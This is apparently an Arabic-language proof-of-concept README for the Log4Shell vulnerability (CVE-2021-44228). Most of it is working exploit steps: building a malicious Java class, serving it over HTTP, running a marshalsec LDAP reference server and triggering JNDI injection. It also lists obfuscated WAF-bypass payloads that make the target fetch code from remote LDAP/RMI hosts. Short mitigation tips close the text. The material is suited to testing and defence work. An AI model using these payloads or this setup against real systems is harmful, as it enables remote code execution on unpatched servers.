
إثبات مفهوم لاستغلال CVE-2021-44228 (Log4Shell) مع حقن JNDI، وخادم مرجعي LDAP، وتقنيات تجاوز جدار الحماية (WAF) لاختبار ثغرات تنفيذ الأكواد عن بُعد (RCE) في Log4j.
إصدارات 1.x تحتوي على ثغرات أخرى، وننصح بتحديثها إلى أحدث إصدار.
النشرات الأمنية / النشرات المرتبطة بـ Log4Shell (CVE-2021-44228)
قم بتنزيل هذا المشروع، وقم بتجميع كود الاستغلال blob/master/src/main/java/Exploit.java، ثم ابدأ خادم ويب يسمح بتنزيل الملف الثنائي المترجم.
git clone https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce.git
cd CVE-2021-44228-Apache-Log4j-Rce
javac Exploit.java
# start webserver
# For Python2
python -m SimpleHTTPServer 8888
# For Python3
python3 -m http.server 8888
# make sure python webserver is running the same directory as Exploit.class, to test
curl -I 127.0.0.1:8888/Exploit.class
قم بتنزيل مشروع آخر وشغّل تنفيذ خادم LDAP الذي يُرجع مراجع JNDI https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/LDAPRefServer.java
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
# Java 8 required
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
قم ببناء وتشغيل كود التفعيل (لمحاكاة هجوم log4j على خادم ويب جافا ضعيف) blob/master/src/main/java/log4j.java، وسيظهر تطبيق الآلة الحاسبة لديك.
cd CVE-2021-44228-Apache-Log4j-Rce
mvn clean package
java -cp target/log4j-rce-1.0-SNAPSHOT-all.jar log4j
# expect the following
# 1. calculator app appear
# 2. in ldapserver console,
# Send LDAP reference result for Exploit redirecting to http://127.0.0.1:8888/Exploit.class
# 3. in webserver console,
# 127.0.0.1 - - [....] "GET /Exploit.class HTTP/1.1" 200 -
نصائح:
لا تعتمد على إصدار Java الحالي لإنقاذك. قم بتحديث Log4 (أو أزل بحث JNDI). وعطّل التوسيع (يبدو ذلك فكرة سيئة على أي حال).
على سبيل المثال:
${jndi:ldap://127.0.0.1:1389/ badClassName}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
لا تثق بجدار الحماية لتطبيقات الويب.
توفر Lookups طريقة لإضافة قيم إلى إعدادات Log4j في أماكن عشوائية.
الطرق التي تسبب التسرب في finally
LogManager.getLogger().error()
LogManager.getLogger().fatal()
إذا كنت تريد إجراء اختبار الصندوق الأسود، أقترح عليك القيام بالفحص السلبي.
استمتع!!!
